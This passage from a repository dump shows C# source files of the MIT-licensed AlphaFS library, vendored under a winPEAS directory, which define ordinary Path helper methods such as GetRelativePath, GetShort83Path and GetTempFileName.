<summary>[AlphaFS] Gets the root directory information of the specified path.</summary>\n      /// <returns>\n      ///   Returns the root directory of <paramref name=\"path\"/>, such as \"C:\\\",\n      ///   or <c>null</c> if <paramref name=\"path\"/> is <c>null</c>,\n      ///   or an empty string if <paramref name=\"path\"/> does not contain root directory information.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path from which to obtain root directory information.</param>\n      /// <param name=\"checkInvalidPathChars\"><c>true</c> will check <paramref name=\"path\"/> for invalid path characters.</param>\n      [SecurityCritical]\n      public static string GetPathRoot(string path, bool checkInvalidPathChars)\n      {\n         return GetPathRootCore(path, checkInvalidPathChars);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetRandomFileName.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      #region .NET\n\n      /// <summary>Returns a random folder name or file name.</summary>\n      /// <returns>A random folder name or file name.</returns>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1024:UsePropertiesWhereAppropriate\")]\n      [SecurityCritical]\n      public static string GetRandomFileName()\n      {\n         return System.IO.Path.GetRandomFileName();\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetRegularPath.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Gets the regular path from long prefixed one. i.e.: \"\\\\?\\C:\\Temp\\file.txt\" to C:\\Temp\\file.txt\" or: \"\\\\?\\UNC\\Server\\share\\file.txt\" to \"\\\\Server\\share\\file.txt\".</summary>\n      /// <returns>Regular form path string.</returns>\n      /// <remarks>This method does not handle paths with volume names, eg. \\\\?\\Volume{GUID}\\Folder\\file.txt.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path.</param>\n      [SecurityCritical]\n      public static string GetRegularPath(string path)\n      {\n         return GetRegularPathCore(path, GetFullPathOptions.CheckInvalidPathChars, false);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetRelativePath.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Gets the relative path from the <paramref name=\"startPath\"/> path to the end path.</summary>\n      /// <param name=\"startPath\">The absolute or relative folder path.</param>\n      /// <param name=\"selectedPath\">The absolute or relative path containing the directory or file.</param>\n      /// <returns>The relative path containing the directory or file, from the <paramref name=\"startPath\"/> path to the end path.</returns>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"UriFormatException\"/>\n      /// <exception cref=\"InvalidOperationException\"/>\n      public static string GetRelativePath(string startPath, string selectedPath)\n      {\n         if (string.IsNullOrEmpty(startPath))\n            throw new ArgumentNullException(\"startPath\");\n\n         if (string.IsNullOrEmpty(selectedPath))\n            throw new ArgumentNullException(\"selectedPath\");\n\n\n         var fromDirectories = startPath.Split(DirectorySeparatorChar);\n         var toDirectories = selectedPath.Split(DirectorySeparatorChar);\n\n         var fromLength = fromDirectories.Length;\n         var toLength = toDirectories.Length;\n         var length = Math.Min(fromLength, toLength);\n         var lastCommonRoot = -1;\n\n\n         // Find common path root.\n\n         for (var index = 0; index < length; index++)\n         {\n            if (string.Compare(fromDirectories[index], toDirectories[index], StringComparison.OrdinalIgnoreCase) != 0)\n               break;\n\n            lastCommonRoot = index;\n         }\n\n\n         if (lastCommonRoot == -1)\n            return selectedPath;\n\n         lastCommonRoot++;\n\n\n         // Assemble relative path.\n\n         var relativePath = new StringBuilder();\n\n         \n         // Add the \"..\\\" suffix.\n\n         for (var index = lastCommonRoot; index < fromLength; index++)\n         {\n            if (fromDirectories[index].Length > 0)\n               relativePath.Append(ParentDirectoryPrefix + DirectorySeparator);\n         }\n\n\n         // Add folders.\n\n         toLength--;\n\n         for (var index = lastCommonRoot; index < toLength; index++)\n\n            relativePath.Append(toDirectories[index] + DirectorySeparator);\n\n\n         relativePath.Append(toDirectories[toLength]);\n\n         return relativePath.ToString();\n      }\n\n\n      ///// <summary>[AlphaFS] Gets the relative path from the <paramref name=\"startPath\"/> path to the end path.</summary>\n      ///// <param name=\"startPath\">The absolute or relative folder path.</param>\n      ///// <param name=\"selectedPath\">The absolute or relative path containing the directory or file.</param>\n      ///// <returns>The relative path from the <paramref name=\"startPath\"/> path to the end path.</returns>\n      ///// <exception cref=\"ArgumentNullException\"/>\n      ///// <exception cref=\"UriFormatException\"/>\n      ///// <exception cref=\"InvalidOperationException\"/>\n      //public static string GetRelativePath(string startPath, string selectedPath)\n      //{\n      //   if (string.IsNullOrEmpty(startPath))\n      //      throw new ArgumentNullException(\"startPath\");\n\n      //   if (string.IsNullOrEmpty(selectedPath))\n      //      throw new ArgumentNullException(\"selectedPath\");\n\n\n      //   if (IsPathRooted(startPath) && IsPathRooted(selectedPath))\n      //   {\n      //      if (string.Compare(GetPathRoot(startPath), GetPathRoot(selectedPath), CultureInfo.InvariantCulture, CompareOptions.IgnoreCase) != 0)\n      //         return selectedPath;\n      //   }\n\n\n      //   var fromUri = new Uri(AddTrailingDirectorySeparator(startPath, false), UriKind.RelativeOrAbsolute);\n      //   var toUri = new Uri(AddTrailingDirectorySeparator(selectedPath, false), UriKind.RelativeOrAbsolute);\n\n\n      //   if (fromUri.IsAbsoluteUri && toUri.IsAbsoluteUri)\n      //   {\n      //      if (fromUri.Scheme != toUri.Scheme)\n      //         return selectedPath;\n      //   }\n\n\n      //   var relativeUri = toUri.IsAbsoluteUri ? fromUri.MakeRelativeUri(toUri) : toUri;\n      //   var relativePath = Uri.UnescapeDataString(relativeUri.ToString());\n\n\n      //   if (toUri.IsAbsoluteUri && string.Equals(toUri.Scheme, Uri.UriSchemeFile, StringComparison.OrdinalIgnoreCase))\n      //      relativePath = relativePath.Replace(AltDirectorySeparatorChar, DirectorySeparatorChar);\n\n\n      //   return relativePath.TrimEnd(DirectorySeparatorChar, AltDirectorySeparatorChar);\n      //}\n\n\n\n\n      /// <summary>[AlphaFS] Gets the absolute path from the relative or absolute <paramref name=\"startPath\"/> and the relative <paramref name=\"selectedPath\"/>.</summary>\n      /// <returns>The absolute path from the relative or absolute <paramref name=\"startPath\"/> and the relative <paramref name=\"selectedPath\"/>.</returns>\n      /// <param name=\"startPath\">The absolute folder path.</param>\n      /// <param name=\"selectedPath\">The selected path containing the directory or file.</param>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"UriFormatException\"/>\n      /// <exception cref=\"InvalidOperationException\"/>\n      public static string ResolveRelativePath(string startPath, string selectedPath)\n      {\n         return GetFullPath(Combine(IsPathRooted(startPath) ? startPath : DirectorySeparator + startPath, IsPathRooted(selectedPath) ? selectedPath : DirectorySeparator + selectedPath), GetFullPathOptions.FullCheck);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetShort83Path.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Retrieves the short path form of the specified path.</summary>\n      /// <returns>A path that has the 8.3 path form.</returns>\n      /// <remarks>Will fail on NTFS volumes with disabled 8.3 name generation.</remarks>\n      /// <remarks>The path must actually exist to be able to get the short path name.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">An existing path to a folder or file.</param>\n      [SecurityCritical]\n      public static string GetShort83Path(string path)\n      {\n         return GetLongShort83PathCore(null, path, true);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetShort83PathTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Retrieves the short path form of the specified path.</summary>\n      /// <returns>A path that has the 8.3 path form.</returns>\n      /// <remarks>Will fail on NTFS volumes with disabled 8.3 name generation.</remarks>\n      /// <remarks>The path must actually exist to be able to get the short path name.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">An existing path to a folder or file.</param>\n      [SecurityCritical]\n      public static string GetShort83PathTransacted(KernelTransaction transaction, string path)\n      {\n         return GetLongShort83PathCore(transaction, path, true);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetSuffixedDirectoryName.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Returns the directory information for the specified <paramref name=\"path\"/> with a trailing <see cref=\"DirectorySeparatorChar\"/> character.</summary>\n      /// <returns>\n      ///   <para>The suffixed directory information for the specified <paramref name=\"path\"/> with a trailing <see cref=\"DirectorySeparatorChar\"/> character,</para>\n      ///   <para>or <c>null</c> if <paramref name=\"path\"/> is <c>null</c> or if <paramref name=\"path\"/> denotes a root (such as \"\\\", \"C:\", or * \"\\\\server\\share\").</para>\n      /// </returns>\n      /// <remarks>This method is similar to calling Path.GetDirectoryName() + Path.AddTrailingDirectorySeparator()</remarks>\n      /// <param name=\"path\">The path.</param>\n      [SecurityCritical]\n      public static string GetSuffixedDirectoryName(string path)\n      {\n         return GetSuffixedDirectoryNameCore(null, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns the directory information for the specified <paramref name=\"path\"/> with a trailing <see cref=\"DirectorySeparatorChar\"/> character.</summary>\n      /// <returns>\n      ///   <para>The suffixed directory information for the specified <paramref name=\"path\"/> with a trailing <see cref=\"DirectorySeparatorChar\"/> character,</para>\n      ///   <para>or <c>null</c> if <paramref name=\"path\"/> is <c>null</c> or if <paramref name=\"path\"/> denotes a root (such as \"\\\", \"C:\", or * \"\\\\server\\share\").</para>\n      /// </returns>\n      /// <remarks>This method is similar to calling Path.GetDirectoryName() + Path.AddTrailingDirectorySeparator()</remarks>\n      /// <param name=\"path\">The path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static string GetSuffixedDirectoryName(string path, PathFormat pathFormat)\n      {\n         return GetSuffixedDirectoryNameCore(null, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetSuffixedDirectoryNameTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Returns the directory information for the specified <paramref name=\"path\"/> with a trailing <see cref=\"DirectorySeparatorChar\"/> character.</summary>\n      /// <returns>\n      ///   <para>The suffixed directory information for the specified <paramref name=\"path\"/> with a trailing <see cref=\"DirectorySeparatorChar\"/> character,</para>\n      ///   <para>or <c>null</c> if <paramref name=\"path\"/> is <c>null</c> or if <paramref name=\"path\"/> denotes a root (such as \"\\\", \"C:\", or * \"\\\\server\\share\").</para>\n      /// </returns>\n      /// <remarks>This method is similar to calling Path.GetDirectoryName() + Path.AddTrailingDirectorySeparator()</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path.</param>\n      [SecurityCritical]\n      public static string GetSuffixedDirectoryNameTransacted(KernelTransaction transaction, string path)\n      {\n         return GetSuffixedDirectoryNameCore(transaction, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns the directory information for the specified <paramref name=\"path\"/> with a trailing <see cref=\"DirectorySeparatorChar\"/> character.</summary>\n      /// <returns>\n      ///   <para>The suffixed directory information for the specified <paramref name=\"path\"/> with a trailing <see cref=\"DirectorySeparatorChar\"/> character,</para>\n      ///   <para>or <c>null</c> if <paramref name=\"path\"/> is <c>null</c> or if <paramref name=\"path\"/> denotes a root (such as \"\\\", \"C:\", or * \"\\\\server\\share\").</para>\n      /// </returns>\n      /// <remarks>This method is similar to calling Path.GetDirectoryName() + Path.AddTrailingDirectorySeparator()</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static string GetSuffixedDirectoryNameTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetSuffixedDirectoryNameCore(transaction, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetSuffixedDirectoryNameWithoutRoot.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Returns the directory information for the specified <paramref name=\"path\"/> without the root and with a trailing <see cref=\"DirectorySeparatorChar\"/> character.</summary>\n      /// <returns>\n      ///   <para>The directory information for the specified <paramref name=\"path\"/> without the root and with a trailing <see cref=\"DirectorySeparatorChar\"/> character,</para>\n      ///   <para>or <c>null</c> if <paramref name=\"path\"/> is <c>null</c> or if <paramref name=\"path\"/> is <c>null</c>.</para>\n      /// </returns>\n      /// <param name=\"path\">The path.</param>\n      [SecurityCritical]\n      public static string GetSuffixedDirectoryNameWithoutRoot(string path)\n      {\n         return GetSuffixedDirectoryNameWithoutRootCore(null, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns the directory information for the specified <paramref name=\"path\"/> without the root and with a trailing <see cref=\"DirectorySeparatorChar\"/> character.</summary>\n      /// <returns>\n      ///   <para>The directory information for the specified <paramref name=\"path\"/> without the root and with a trailing <see cref=\"DirectorySeparatorChar\"/> character,</para>\n      ///   <para>or <c>null</c> if <paramref name=\"path\"/> is <c>null</c> or if <paramref name=\"path\"/> is <c>null</c>.</para>\n      /// </returns>\n      /// <param name=\"path\">The path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static string GetSuffixedDirectoryNameWithoutRoot(string path, PathFormat pathFormat)\n      {\n         return GetSuffixedDirectoryNameWithoutRootCore(null, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetSuffixedDirectoryNameWithoutRootTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Returns the directory information for the specified <paramref name=\"path\"/> without the root and with a trailing <see cref=\"DirectorySeparatorChar\"/> character.</summary>\n      /// <returns>\n      ///   <para>The directory information for the specified <paramref name=\"path\"/> without the root and with a trailing <see cref=\"DirectorySeparatorChar\"/> character,</para>\n      ///   <para>or <c>null</c> if <paramref name=\"path\"/> is <c>null</c> or if <paramref name=\"path\"/> is <c>null</c>.</para>\n      /// </returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path.</param>\n      [SecurityCritical]\n      public static string GetSuffixedDirectoryNameWithoutRootTransacted(KernelTransaction transaction, string path)\n      {\n         return GetSuffixedDirectoryNameWithoutRootCore(transaction, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns the directory information for the specified <paramref name=\"path\"/> without the root and with a trailing <see cref=\"DirectorySeparatorChar\"/> character.</summary>\n      /// <returns>\n      ///   <para>The directory information for the specified <paramref name=\"path\"/> without the root and with a trailing <see cref=\"DirectorySeparatorChar\"/> character,</para>\n      ///   <para>or <c>null</c> if <paramref name=\"path\"/> is <c>null</c> or if <paramref name=\"path\"/> is <c>null</c>.</para>\n      /// </returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static string GetSuffixedDirectoryNameWithoutRootTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetSuffixedDirectoryNameWithoutRootCore(transaction, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetTempFileName.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      #region .NET\n\n      /// <summary>Creates a uniquely named, zero-byte temporary file on disk and returns the full path of that file.</summary>\n      /// <returns>The full path of the temporary file.</returns>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1024:UsePropertiesWhereAppropriate\")]\n      [SecurityCritical]\n      public static string GetTempFileName()\n      {\n         return System.IO.Path.GetTempFileName();\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetTempPath.cs",
